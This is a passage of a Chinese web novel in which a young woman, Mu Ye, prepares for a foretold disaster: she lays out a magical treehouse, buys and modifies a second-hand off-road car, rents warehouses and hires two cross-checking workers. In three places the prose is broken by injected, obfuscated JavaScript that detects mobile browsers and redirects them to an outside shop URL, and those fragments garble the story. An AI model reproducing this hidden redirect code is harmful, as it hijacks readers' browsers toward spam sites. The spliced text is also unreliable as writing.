她设置好向上的楼梯，和通向地下室的楼梯连成一条，尽可能减少空间浪费。 一楼，以传送门入口为正南方，正北方靠墙的中央区域是开放式厨房，在这生成一个L型岛台，上方空间尽可能多地设置柜子，墙上一左一右放入两个【通电插座】，中间有一个【出水口】，岛台末尾放提前买好的两台双开门冰箱。 这片区域左边就是通向二楼的楼梯正下方，空间不大，穆叶想了想，还是把卫生间设置在了这里。 只要能满足清洁需求，局促一点也没什么。 卫生间消耗一个【出水口】，一个【通电插头】。 右边区域，也就是一楼的东北角，穆叶生成墙壁把这里单独隔出来，做一个步入式储藏间。 如果没有天灾这一回，这个设计她本来想用在将来购买的新公寓里的，主要是用来放厨房的小家电、各种调料、即食食品、干货和易保存的蔬果等等，比较方便拿取和收纳。 安装好筒灯和隔板，穆叶把空间里的榨汁机和空气炸锅放进去，层高和进深都恰到好处，她满意地点点头。 离开储藏室，她转身看着入口这一片空旷的区域。 东南角要放餐桌和沙发，而西南角按照原先计划，是要做一排储物柜放东西的。 但考虑到某个意外情况，穆叶想等其他装修结束，再做决定。 她来到地下室，把楼梯间改造成工具房，在墙上留出空，设置了洞洞板用来挂小工具，再安装上不占地方的推拉门，把从老房子里收来的竹筐、竹筛暂时放进去。 接着上二楼。 二楼是休息区，但这么大的地方，只用来睡觉也太浪费了。 穆叶留出楼梯口旁一个长方形区域做书房，用玻璃推拉门做隔断，在里面生成了一个书架，墙上仍然设置洞洞板。 她的理念就是不管能不能用上，尽量创造更多的储物条件。 安好筒灯和【通电插座】，穆叶量了量空余地块的长宽记在手机上，打算之后去买对应的书桌和小榻。 书房听上去不是末世的必需品，开始设计时，书房的概念刚在脑子里出现，就被穆叶否决了。 天灾来了，活命都来不及，谁还看书呢？ 但随着她逐渐了解系统和重启，才发现书房是很有必要的，她可以把收集到的方方面面求生知识都储存在这，还有书籍、电子产品等，虽说都是求生，但有科学知识加持肯定是不一样的。 书房对称的位置，是洗衣房。 整个树屋都没有窗户，衣服只能阴干，所以洗衣房在哪都大差不差。 照着搜集来的图片生成柜子，再把洗烘套装放进预留的空间里，一整个严丝合缝，穆叶点点头，在手机的购买清单里加入两个折叠晾衣架。 本来在树屋运转的体系里，是不用考虑生活废水排出的，要是能在洗衣房再增加一个洗衣池，洗贴身衣物会方便很多，但【出水口】只有三个，不吃饭或不洗澡都不行，只能抓主要矛盾了。 最后就是睡觉问题。 穆叶看着放进来的三张床叹气，默默把它们收进空间里。 早知道不着急买床，现在转手卖，会有人买吗…… 她的新设计里，不再有独立的床，而是变成储物榻榻米加床垫的模式，需要放入或拿出物品时，把床垫掀开，打开柜子就能做到。 这么做只是把整个区域抬高，并不会影响其他。 四周再贴墙打造衣柜，别说存放他们四个人的衣服，再翻一倍也没有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为限制，她不被允许透露天灾的消息，且不说没理由让爸妈放着云山的生意不管来小尧村，就是真来了，恐怕他们不仅不会同意自己的囤货计划，还会觉得她压力太大出现幻想了，会硬带她回平津看医生。 所以他们不能来得太早，最好的时机，是倒计时结束的前一周内。 相反，奶奶那边要早做打算。 一方面，奶奶恐高，以往回村过年，都是一家人开上三天两夜的车过来的，要带她来，只能用自驾的方式，这要花费很多时间。 另一方面，关系到他们有多少钱购买物资，能不能准备充分应对末世。 穆叶工作时间不到两年，虽然没什么烧钱的爱好，但工资在平津整体水平里并不算高，到现在才堪堪存下二十一万，还是在爸妈分担了一大半吃穿住行开销的情况下。 这几天买家电家具花了八万块，剩下十二万左右，买不了多少东西。 公司的钱不能动就等于没有，大额的支出会惊动爸妈，到时候又变成前面提到的局面了。 没办法，她只好把主意打到了他们现居住的、面积约150平的房子上。 平津房价高，她家地理位置还行，即便房子已经超过十年贬值了、急售会折价，粗略估计下，到手也能有三百五十多万。 这套房在奶奶名下，她有五成把握说服奶奶卖房，但办手续也是需要时间的，所以奶奶这边宜早不宜迟。 买家具、囤物资、回平津卖房…… 太多了，还有太多事等她做了，穆叶只是想想就感觉压力大得想吐。 但现在最紧要的事，是先去买车！ 9. 第 8 章 “穆小姐，看过了，车没问题，确实才买半年，没有发生过事故，零件也没更换过。” 目光从远处“瑞行汽车检测中心”的亮光招牌上收回，穿着灰色工服的检测人员，把夹着车辆情况单的文件板递过来。 坐在穆叶身旁的男人朗声道：“看吧，我说了这车才买半年，手感好，性能什么的都和新的一样。” 穆叶看了两眼板上的检测记录，扬起嘴角，“我没有不相信你，但做个检测咱们都能放心，不是吗，林先生？” 穆叶正在和网上认识的、一个叫林沅辰的男人交易二手车。 昨天花了近一天时间调整树屋布局，决定要买车后，她也没闲着，而是在网上搜索了一些相关的信息。 本来是想了解一下买车贷款的信息，毕竟手头上可用的钱真不多。 但发现买新车有许多无法跳过的流程步骤，但凡遇到一时解决不了的，时间会拖很久，而她着急用车，等不了一点，于是就被劝退了。 她也考虑过直接坐飞机回平津，开着家里的车带奶奶回来，但她家是轿车，对天灾后的环境和路况，恐怕有些应付不来。 加上她想改装一下，还是越野车更符合要求，所以这个想法也放弃了。 穆叶把目光转向了二手车。 二手车和新车相比，优缺点非常明显。 优点是交易流程简单、能快速拿车、且不会像新车那样显眼、缺点则是容易遇见事故车，或是有隐藏的故障，影响后续使用。 最理想的，就是买到刚买不久，但被当作二手车卖的车。 穆叶抱着不可能的心态在各种社交平台浏览，偏偏真让她遇见了。 本人最爱上网：出一辆越野车，刚买半年，车况良好，支持第三方检测，弘州附近可看车，有意私聊。 简直是瞌睡碰上枕头，穆叶立刻私聊了这个叫“本人最爱上网”的网友。 恰好弘州离庆阳只有一小时路程，于是就约好对方开车来庆阳做检测，他们面议价格。 寒风从门外吹来，往林沅辰没穿秋衣的领口里钻。 林沅辰心想这女生年纪不大，还挺有条理的，紧了紧衣领，抬手整理微凌乱的头发，“穆小姐，我可是起了个大早从弘州来的，就为了让你看车，要是没问题，咱们就商量下价格吧？” “当然，”穆叶点头，“不过我想知道，你为什么要卖车呢？” 林沅辰拿起纸杯，招手让前台人员给他泡咖啡，回头对穆叶解释： “何止卖车，我家连房都卖了，移居国外那些事你懂的，留一套房子，偶尔回国住住就行。” 他顿了顿，又说得更细了些：“我们去安国，我姐姐姐夫在那开公司，让我和爸妈也过去。其实我不想去，人生地不熟的，我去能做什么，但谁都不管我的意愿，非带我去办手续，现在机票都买好了，一月三号我们就走……” 听到这，穆叶眼睛转了转，歪头看他：“林先生，您知道急售难免会折价的……吧？” “嘿，我跟你说实话，你和我玩心眼啊。” 林沅辰从座位上跳了起来，气笑了，“这车可是才买半年，等同于新车，你要因为我准备出国就想往死里压价，我告诉你不可能，我不买了！” “我不是这个意思，你消消气，先坐。” 穆叶从桌上的塑料托盘里拿了颗咖啡糖，用手指推到他面前，“我当然不会往死里压价，这辆车价值多少我有数的。但汽车贬值速度很快，确实不能等同于新车。” 林沅辰盯着那糖果看了会儿，又重新坐回椅子上，扒开糖果包装扔进嘴里，“什么意思呀？” “意思就是，”穆叶堆起笑，“39万超过我的预算了，32万怎么样，我诚心要。” “我看你不诚心，”林沅辰把糖果咬得嘎巴响，手指点了点玻璃桌面，“7万块，虽然我不缺钱，但你还得也太狠了，其实留到下次回国再卖，对我也没什么影响的。” “你当然可以留到下次，但是为了卖车，还要专门回来一趟，林先生不觉得麻烦吗？” 穆叶叹了口气，“而且新年后又是新环境，需要时间适应，我敢保证你没空回来。” 那会儿天灾都来了，不就是回不来了嘛。 这辆车买的时候花了47万，林沅辰开始也故意把价往高处报，为了留出讨价还价的空间。 思考了会儿，他重新报价：“37万。” “36行吗，听着吉利点，”穆叶语气诚恳，“从32到36，我够有诚意了吧。” 最终，林沅辰同意了36万的价格，虽然在听见她要分期付款，先给16万，一周内补齐20万尾款时，态度反复了一下，但还是被穆叶说服了。 找顾萌萌借了四万，凑齐钱签合同付款，林沅辰把钥匙拿给她。 穆叶拿着钥匙掂了掂，心里的感觉很奇妙。 她有车了，她从没有效率这么高、一个早上就拍板花出去那么多钱的时候。 转脸看林沅辰，他穿着羽绒服搭睡裤和棉拖鞋，恣意地嘬着热咖啡，谁能想到这人的身份瞬间变成她的债主了。 穆叶长舒口气，认命地说，“走吧林先生，还得麻烦跟我去过户。” - 两小时后，穆叶开着属于她的九成新车离开了车管所。 行驶在宽阔的路面上，虽然是多云天，偶尔也会有阳光穿过云层洒下来。 如果没有眼前的虚拟面板和“倒计时21天（不足）”的提示，这风景倒是让人心旷神怡。 一路向南，冲过小尧村，又往外开了十多公里，穆叶在路边一排废弃的房子前停下。 两三年前，有小道消息说官方要开发庆阳县郊区建农业园。 当时这周围几个村，绝大多数村民都偷工减料加盖房屋，以期拿到更多赔偿款。 只是农业园的消息是假的，后盖的房子住不了人，这片无序扩张出来的区域很快就人去楼空，只留下随处可见的、钢筋裸露在外的水泥砖房。 这排房子也是那个时候建起来的，穆叶下车，抬头四处查看确认监控，接着从后门进了一家修车店。 她找到一面墙壁，尝试用吊坠设置传送门。 看见传送门出现，穆叶拿出手机，打开地图定位。 现在她距离大树公园的直线距离是22公里，传送门依然可以使用，看来还要走远些。 验证传送门使用范围这件事，从绑定系统后她就一直在想。 之前没车，不方便去到既远又无人的地方。 现在有车了，她必须先把这个距离弄清楚，这决定了末世后她们的活动范围。 穆叶拆除传送门，离开了修车店，继续向南。 在经过两次测试后，确定了传送门设置的范围是25公里。 走出25公里范围外，传送门功能就没有反应了，但单向转移可以用，确实不受地理距离的影响。 穆叶心下稍安。 不是她不相信系统，是系统前科累累，重要信息从不给提示，在她这信用值不高，必须要亲眼看过吊坠的两个功能，她才能放下心来。 - “你好，要买汽车配件吗？” 下午三点半，穆叶来到县城里的汽车配件城。 她选的这家店占了拐角一大块地方，干净的玻璃窗上贴着宣传语和图标，门前放了两棵招财金桔树，内部一排排货架，放着如轮胎、排气管、坐垫靠枕等汽车配件，里面有三个年轻男人正在选购。 穆叶反手关上车门，嗯了一声，“我要改装车。” 店里客人少，两个导购员围上来，七嘴八舌地询问她的想法并推销产品。 穆叶看了眼远处提着篮子自助购物的三个男人，也没出声把导购赶走。 兴许人家是这方面的爱好者，而她对改装的事一点不了解，正好需要听专业的意见。 低温大概到零下二十度、道路结冰、结实防碰撞，她把自己的诉求一一说了出来，一脸期待地等着听改装意见。 导购员里年轻活泼的女孩愣了愣，问道：“你是越野爱好者吗？真酷！” 穆叶笑笑不置可否。 误会了也好，省了她想解释的功夫。 两个导购员你一言我一语，带着穆叶顺着一排排货架看过去，定下了改装细节。 改装大号油箱、加装一块电瓶用于供电、车门和引擎盖缝隙加装隔热棉减少车内热量流失、前后装防撞杠、车顶安装行李架、车底盘做额外防撞保护、车灯更换亮度更高寿命更长的、增加拖车钩。 穆叶伸手点了点垒在一起的轮胎：“再来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167137|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个普通轮胎和四个雪地胎、十条防滑链，还有刚刚经过的车载太阳能板也来一个，这些不用安装，到时候放车里我带走。” 女导购低声回应着，手握笔在购物单上写得快飞起来了，另一个导购员看着写满的购物单，惊地张开了嘴巴。 这边的动静被那三个年轻男人看在眼里。 穆叶没猜错，他们确实是越野爱好者，经常开着改装过的车跑各种路线，今天就是来买配件的。 “走，去聊聊呗，”穿白色冲锋衣的男人朝穆叶扬了扬下巴，对同伴说，“交个朋友，问问她愿不愿意过几天和我们一起跑澜海线。” 三人靠近穆叶，白衣男人友好地问：“小姐姐，你也是越野爱好者吗，咱们留个联系方式呗，以后一起玩？” “你为什么花那么大价钱，买些只适用于低温环境的装备啊？”另一人探头好奇地问。 “不好意思，我不是越野爱好者，”穆叶露出一个带着歉意的笑容，“至于为什么买这些，因为我预感今年冬天会很冷，完全不一样的冷。” “冷你开空调不就行了？” 穆叶不多解释，只是提醒，“出远门能不去就不去吧，越野之后有的是机会。要是非去不可，那记得准备好充足的食物，要重视保暖问题。” 她说完就跟着导购去付款了。 三个男人面面相觑。 “额，我们还去吗？” “去……吧？” “去呗，不是早就计划好了，还约了那么大票人，听她随便说两句就不敢去了啊！” “不是，就是……就是觉得听见这种话，有点不吉利。” …… 穆叶填写好联系方式，确认过账单后，掏出信用卡给前台。 38613元，抹零后38600元。 老板看她消费力强，强烈推荐她充一千块办会员，说是能打九折。 穆叶原本不打算享受什么优惠的，她比所有人先知道天灾的消息，却不能提醒，已经觉得自己占了便宜，再讨价还价，实在是良心不安。 只是现在她手里只留了不到两千的饭钱，信用卡额度只有6万，各种软件里能借用大概3万，在卖了平津的房子拿到钱之前，她必须精打细算。 - 车加急改装也需要一天半时间，穆叶把车留下，自己打车前往家具城。 天色已经暗下来了，到了晚饭时间，借帆布包掩护，她把提前放在空间里的土豆饼拿出来吃了。 到家具城，她打开手机上的购物清单，开始顺着购买。 六人饭桌，厨房的洗菜池和水龙头，浴室的水龙头、花洒、马桶、洗手池和镜子，规格两米的棕榈床垫和乳胶床垫各两个，书桌、可躺可坐可储物的小榻，折叠晾衣架…… 除了晾衣架，其他都是送货上门，但不再直接送到小尧村的家里，而是送到穆叶在网上找的仓库。 昨天空闲时候，她已经和仓库主人商量好价格，并把一个月租金付了过去。 只是还没来得及实地去看，刚好明天要收货，就提前约仓库主人把钥匙拿给她吧。 发完消息，穆叶重复操作，到地下车库把晾衣架收进空间，再转头来到家具城的下沉广场。 在咖啡店点了杯热鸳鸯奶茶和一块草莓蛋糕，穆叶拿出手机打开网购软件。 列在清单上的家具，除了沙发，其他都已经在实体店买好了。 其实也有不错的沙发，只是出于空间灵活性考虑，她想买可以拼装或折叠的沙发，看来看去没有合适的，就只能网购了。 她又加购了300个在洞洞板上挂东西用的火柴棍、100个挂钩，和沙发一起结算。 穆叶下意识选中小尧村驿站、付款，直到看见商家发来的确认消息才觉得不行。 光是想想她亲自把沙发从人来人往的驿站取出，再运回家里，一路上会引来多少村里人的目光，穆叶就觉得心跳加速。 不只是这次买沙发，网购会成为她后续囤物资的主要渠道之一，如果她每天收到什么快递，全村人都心知肚明，那天灾到来后，她家会变成什么样简直不能想象。 主动提供物资帮助别人，和被人惦记物资是两回事，穆叶不愿让自己和家人活得提心吊胆。 她必须好好利用仓库。 10. 第 9 章 倒计时20天（不足），早上8点。 穆叶顶着寒风，站在福郡园小区后面，杨家村里的一间厂房门前。 今天天气冷得见鬼，羽绒服长度只到大腿中间，下面的膝盖和小腿像是没穿裤子一样，冷得她直起鸡皮疙瘩。 她拿出手机看天气预报，明明说连续几天都是多云，什么时候又多出了“寒潮天气”的预警？ 现在室外温度只有5度，刮起风来，体感温度只有1度。 不知道这个突然的“寒潮天气”和天灾有没有关系，但穆叶清楚地知道，天气预报根本相信不了！ 吐槽的话被寒风吹散了，她把手揣进口袋，微微缩起肩膀，在心里想念着她的新车，要是车在这，她就不用吹冷风等了。 穆叶绕着身后的厂房走了一圈。 这里就是她租的仓库，按仓库主人说的，面积大概是190平左右，外观看上去和图片一模一样。 仓库主人在介绍时，说这的优点是交通便利、电力充足、用水无忧，但穆叶选中这里的原因却是它足够偏僻。 没错，就是偏僻。 杨家村的位置在庆阳城边上，周边三公里以内，只有入住率不到一半的福郡园小区，和一座烂尾的三层商业中心。 留在村里的大多是老人，福郡园住户又很少，小区外的两处快递站离仓库也不远，取货送货不会引起很多人的注意，完美地解决了她担心的问题。 又过了十分钟，仓库主人——一个穿着蓝黑色羽绒服、头发花白的男人才骑着小电驴过来。 “不好意思啊，我送孙女上学，迟到了，”男人停下车，从口袋里摸出钥匙，“走吧，我带你看看。” 他打开门上的大锁，解下栓门的铁链放在门背后的木盒子里，把仓库的灯打开。 “看看吧，我们打扫得可干净了，整个村里，你找不出第二间条件这么好的仓库。”男人自豪地说。 穆叶匆匆扫了一眼。 干不干净的她倒是无所谓，只要不漏风漏雨，足够放东西就行。 看了一圈，没什么问题，男人把拴在一起的三套钥匙拿给她。 “三套钥匙你确认一下，退租的时候原模原样拿回来，不然你就要出钱重新换锁，到期两天前告诉我要不要续租哈。” 说完，男人转身要走。 穆叶想了想，叫住他：“大爷，就这样的仓库，您能帮我再找一间吗？” 男人转身看着她：“还要一间？小姑娘，你是做啥的，要这么多仓库做什么？” 穆叶哽住，眨了眨眼说：“我啊，就是做网购那些，找个地方放货，您能理解吗？” 男人摆摆手，笑着说：“别小看我们老年人，你一说网购我就明白了。只是再找一间有点难，你说要和这差不多，村里其他厂房都比这大多了，三四百平，你要得了吗？” “不用在村里，周边也可以的。”穆叶说。 “周边啊，你等我问问……” 男人拿出手机打了个电话，挂掉后高兴地对穆叶点头，“我朋友有间仓库，和这里条件差不多，还空着，他要价比我高点，每月1400块，就是离这有个五六公里，你看行吗？” 穆叶问了具体位置，听到是在工业园里，立马点头答应了。 工业园好啊，前不着村后不着店，即便是里面上班的工人，也不一定能注意到发生了什么，值得多花四百块。 她加了另一个仓库主人的联系方式，沟通好后，立刻打车前往康荣工业园。 仓库在工业园靠里的地方，穆叶当面把一个月的租金付给对方，顺利拿到这间仓库的三套钥匙。 工业园里面和附近共有三个快递站，网购的东西也有了收货地点，挺好。 现在，网购的物资由快递站签收，仓库里的物资由她来转移进树屋。 那么问题来了，从快递站收货再搬运到仓库这中间的一步，要怎么办？ 她当然可以每天固定时间，亲自过来搬货，但她计划过两天回平津，往返最快也需要八天时间，比起她自己来搬货，雇人来做才更合适。 穆叶拿出手机，在不同的社交媒体和招聘软件上发了招聘信息。 ——男女不限，主要工作为在每天固定时间搬货加清点货品。工作地点在庆阳县杨家村或康荣工业园，运输路程不远，但最好自备面包车等拉货设备，每天200元，月结，油费另算。 ——有意者私聊，本次招聘仅在今天下午六点前有效。 - 忙完仓库和招聘的事，穆叶打车来到县城南边的双龙集市。 虽说天气骤然变冷，但逛集市的人还是络绎不绝。 遮雨的大棚下，一条街看过去都是人头，上空回荡着各个摊主用小喇叭录下来的叫卖声，橘子、草莓、手抓饼、辣烤鸡腿…… 玲琅满目的货品扫眼就能看到，人手提一个装着东西的塑料袋，还有牵狗来的，主人只管抬头往前走，小狗则低头在地上捡东西吃，整个集市实在热闹。 穆叶本想立刻开始她的采购计划，忽然闻见空气里飘来的煎饺香气，才恍惚地发现，自从开始装修树屋后，她好像快把午饭进化掉了，于是立刻转道先去吃午饭。 等她提着多买的一袋煎饺走出小吃店时，外面买菜的人已经少了很多，有些摊贩也收摊回去了。 这不是问题，穆叶今天本来也没打算买那些新鲜食物，她的目标是能长期储存的、不易腐坏且必须的食物，比如大米、比如食用油。 她来到集市最大的杂粮店，张口就要了20袋5kg真空包装的大米，10箱5kg的碱水挂面，黄豆、绿豆、红豆、黑豆每种10kg，还有干粉丝和粉条要了三箱，20kg面粉要了五袋。 老板听愣了，穆叶喊了一声，才凑过来听她“点菜”。 “哎呀，其他好说，挂面店里没有那么多啊，要不你留个地址，我给送过去，反正这么多东西，你自己也是拿不走的。” 穆叶加上老板联系方式，把杨家村仓库的地址留下来，出门左拐，去了隔壁的油坊。 油坊里有买包装好的品牌食用油，但更多还是自己榨的大豆油、菜籽油、花生油等等。 散发着不同香味的黄澄澄的清透的油，被装在乳白色的塑料大桶里，旁边放着一把长长的不锈钢勺，用来打油的。 另外还有些榨油的原料，用塑料袋装着放在货架上。 穆叶要了5桶大豆油、5桶菜籽油、5桶花生油和2桶芝麻油，全是25公斤装的，有包装有牌子的大豆油要了20升，另外还买了大豆、花生、瓜子、核桃各5公斤，也是送往杨家村仓库。 从油坊离开时，她注意到虚拟面板上，邮箱图标那冒出了一个红点。 点进去，是一封新邮件。 【达成收集成就，解锁“口口口口”，获得奖励50？？？】 这是什么东西？ 穆叶好几天没见过系统提示，乍地看见，还有点不习惯。 她目光落在收集两个字上。 以她浅薄的游戏经验猜测，大概是她买了一些东西，刚好满足了系统的收集任务，所以奖励了一些货币给她。 她努力回想刚刚买过的东西，是那些干粮货物？还是那些食用油？ 不管怎么说，这条消息告诉了她，系统是有特定的渠道赚钱的，只要有钱，就能买商城的东西，天灾末世后也就不用太愁…… 愁！怎么不愁！ 她的目光又落到50这个数字上，艰难地满足了收集条件，就给50吗？ 那78的空气炸锅，和317的冰箱算什么？ 哇塞，奸商系统。 穆叶力竭了。 大批量购买食品和药品，她担心会给自己带来麻烦，所以现在的计划是线下线上分批购入物资，还好准备时间足够长，才给了她积少成多的机会。 离开集市，步行到最近的药店，她捡着常用药各购买了五盒，包括消炎抗感染药、止痛退烧药、胃肠道药、过敏药、止血药品等。 营业员倒是好奇问了句用途，穆叶立马把昨天的借口搬了过来，说是准备开启一段长达半月的越野旅行，对面听完露出了“原来如此”的表情。 等穆叶从药店出来，找了个公共卫生间，把一袋子药收进空间后，邮箱又发来了成就达成的邮件。 【达成收集成就，解锁“口口口口口”，奖励50？？？】 这回是药，她非常确定了。 买食物能解锁，买药能解锁，买家具电器却不能，为什么？ 穆叶总觉得脑中冒出了一个念头，却像流星一样一闪而过，还没来得及抓住，就消失了。 遥远的树屋里，终端上未解锁的星星界面，有两颗星星被点亮了。 - 在社交平台上发布的招聘有了回音，筛走一批IP不对的、讨价还价的，和剩下几个人聊了聊工作细节，最后留下三个人进入面试。 其中一个离她现在的位置很近，穆叶邀请他一起吃了顿快餐，结束后就确认了对方不是自己想找的人。 这是个刚毕业的男大学生，刚坐下就开始打听仓库的用途、货物的类型、网店的目标客户群体，并询问自己能不能加入团队。 好奇心和事业心都太重了。 这当然不是坏事，但穆叶现在最不需要的就是好奇心强的人。 看着仓库里各式各样、数量庞多的货物，思考多了难保会发现她的说法站不住脚。 六点半，在福郡园小区东门，她面试了第二个人。 这个叫杨桐的男人是福郡园小区的租户，刚从其他县搬来，正要找工作就看见了穆叶的招聘信息。 他只问了穆叶一个问题，就是这份工作要做多久，她回答一个月。 穆叶看他面色沉稳，话也不多，心里已经满意了一半。 她问：“你上一份工作是做什么的，我说过要自备拉货工具，你有吗？” 杨桐拿出手机，找出在老家水站的工作照片，“我在水站送水，来庆阳的时候开了辆面包车，大件小件都能运。” 家住福郡园，有车，有相关工作经验，每一条都像是为这个工作量身定制的。 穆叶当即拍板决定聘用他，在验证了身份信息后，就把仓库的两把钥匙给了他，并带他去认了杨家村仓库的位置。 她看了时间，带杨桐等在仓库，七点过后，先前买的家具、粮油就陆续送来了。 卸货结束，穆叶和杨桐一人搬一个椅子往仓库里面放。 “现在我来说说你的具体工作，”她偏头看他，“第一就是收货，接下来这个月，基本每天都会有货入库，有些是商家配送上门的，我会提前告诉你，你只需要来开门，等卸完货后整理、清点就好。” “另一些是快递，需要你去驿站取，然后运到仓库，同样是整理、清点。” “上班时间自由，下班时间是晚上七点，七点后我不会再让你取件，每天下班前，你要把今天收到了哪些货，全部拍照发给我看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167138|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这就是你一整天的工作量，有问题吗？” 杨桐听完在心里过了一遍，摇摇头。 这份工作对他来说太简单了，都不需要守在驿站，只要等老板发来取件码，再去驿站拿货就行，而且驿站离仓库非常近，甚至用不上面包车，借驿站运货的板车就行，大不了多往返几趟。 搬货还有固定的下班时间，这是之前想都不敢想的，他起初怀疑是假的，现在却希望这样轻松的工作能持续久一些。 把货整齐堆在仓库里，杨桐加了穆叶的联系方式，试着发送货品照片给她。 确认流程没有问题后，就被穆叶赶着下班回家了。 他有些恍惚，这好工作居然落在他头上了？ 穆叶等着杨桐锁门，和他一起离开，出了村口，立刻打车前往距离四公里的一个老小区。 十分钟后，车在路口停下，穆叶朝约定的地点看过去 “和平小区”四个掉漆金色大字下，有个女孩抱手站在昏暗的灯光里，看着在等人的样子。 “是李安蕊吗？”穆叶下车冲过去问。 女孩抬头，灯光被她偏高的额骨挡住，只有鼻尖亮着一个点，看长相十分正气。 “嗯，我是。”她轻声回答。 穆叶长舒口气。 李安蕊是第三个面试者，本来约了七点半在和平小区门口见。 但要讲清工作内容，还要确保她带最后的面试者回仓库时，不会和杨桐撞见，她必须确认杨桐彻底离开，因此多花了些时间。 来的路上，穆叶还想自己迟到近半小时，最后一个人会不会已经走了。 正担心着计划无法实现，就发现李安蕊还是按约定在这等待。 她简直是救星！ 穆叶心里涌起一阵激动，拉着李安蕊进了路对面便利店，给她买了杯热巧克力奶，两人在用餐区坐下详谈。 穆叶：“真不好意思，有别的事耽误了，我还担心你离开了。” 李安蕊腼腆笑笑：“是想过，但又怕错过工作机会，就决定多等会儿。” 从话里能听出她似乎有不得不接下这份工作的缘由，但合格的老板是不该多问的，就像她也不希望李安蕊多问物资的事。 那就说说工作。 穆叶问了和对杨桐一样的问题，得知了她的详细情况。 李安蕊现在有份兼职，每天清早要帮早餐店从市场拉食材过去，她有辆开了很多年的面包车，是家里淘汰给她的。 送食材倒是不影响去驿站收货，穆叶唯一担心的是遇到重大货物，她能不能搬得动。 李安蕊不假思索说：“你放心，我在超市干过，成箱的洗衣液、面粉都能搬。” 穆叶的疑虑打消了，李安蕊的性格她很喜欢，加上对迟到心有歉意，以及为了计划成功实现，所有一切都告诉她，应该留下这个女孩。 核对完身份信息，穆叶带着李安蕊离开便利店，重新前往杨家村。 车在村口停下，李安蕊打量着周围环境，问这是哪里。 穆叶：“杨家村，这是你前期的工作地点……刚刚给你的钥匙呢，给我一下。” 她带李安蕊来到仓库门口，拿过钥匙开门开灯。 抬手指着一小时前和杨桐一起整理的货物，穆叶说：“你前期的工作就是每晚九点到这个仓库，清点当天入库的货品，记录数量，然后拍照发给我验收。很简单吧？” “只是清点？不是还有搬货哪些吗？”李安蕊不可置信地说，随即有些不安，“这么简单的工作，每天拿两百是不是不太合适啊。” 好实诚，穆叶在心里感叹。 “这只是前期工作，后期就需要你搬货了，我开这个工资当然是因为强度也不小，你就安心拿钱，好好工作。” “嗯！”李安蕊点头。 穆叶让李安蕊试着清点，她手里有刚刚杨桐给出的数字，正好复查一遍，也是给她的最后考察。 看见她把外观相同的货物聚在一起拍照，做事很有条理，穆叶就觉得雇用她是个非常正确的决定。 加上联系方式，穆叶到村口叫车送她离开，自己则第三次返回仓库。 从里面关门，再关上灯，她打着手电筒开始进行最后一步工作：把物资从仓库收入树屋。 她一边重复着“收入—单向转移”的操作，一边在心里回想整个运货计划。 运货计划临时形成于早上看仓库的时候。 那会儿她只是想着鸡蛋不能放在一个篮子里，所以要租用第二个仓库。 但编辑招聘信息时，才发现物资放在仓库里，最大的风险点，其实就在搬运货物的人身上。 等她回平津后，不能每天到仓库收货，仓库的情况就只能从运货人这里知道，一旦运货人有别的想法，她的物资就要出事。 为了降低这种风险，穆叶就想到了双运货人，但互不见面的模式。 即一人负责白天驿站取货，送货至仓库，晚上七点准时发来今日收货明细，另一人负责在晚上九点，到仓库清点今日新增的货物，发来新增物品数量。 这样，两人的结果互为印证，加上她手里掌握的原始购物数据，三人就能互相验证。 前半个月先在杨家村，后半月去康荣工业园，两人的角色互换，每个人都只知道自己那部分工作。 穆叶不由感叹，这真是完美的闭环啊！ 她联系定制货架的老板明天送货，只要试一遍，这个模式能跑通，她就能放心回平津了。 11. 第 10 章 “穆小姐，要是确认这些改装项目没问题，就麻烦你签个字，我去把你买的轮胎那些放进车里。” 穆叶蹲在地上，用手指拽了拽车尾的拖车钩，拍了拍手站起来，接过文件签字。 等待汽配店员工把她买的东西装车期间，穆叶拿出手机继续在网上下单买物资。 这一批是调料，两件共100袋的井盐、5L装的大桶酱油和醋各10桶、糖购买了白砂糖、冰糖、红糖、蜂蜜四种类型，分了六家不同地区的网店下单，以免一次数量太多太显眼，还有适量的味精、花椒、胡椒粉、孜然粉。 刚好付完款，汽配店的工作人员就皱着眉走过来。 “穆小姐，八个轮胎有点放不下，你看？” 穆叶走到车门边往里看，确实没有空间。 轮胎是圆形的，互相抵着浪费了很多空间，只是五个轮胎，就已经把后排和后备箱全占满了。 “没事，”穆叶缓缓说道，她有办法了，“先这些吧，我拉一趟送回家，一会儿再来拿剩下的。” 她开车离开汽配城，七拐八拐后，进了一个地下停车场。 五分钟后，从出口离开时，车里的轮胎全都消失了。 完美。 穆叶嘴角翘了起来。 不过现在返回汽配店有些太早了，她正打算去周边的集市或药店继续采购，却忽然接到货架老板的送货电话。 她干脆停在路边停车位上，给杨桐打电话。 安排杨桐去仓库等送货车，这边电话还没挂，新的电话就打进来了。 穆叶看着来电提示的“组长”两个字，吸了口气。 她都快忘了自己还有份工作。 接通电话，组长跟她寒暄了几句，接着就说明来意，给了她一份客户订单资料，让她去跟进。 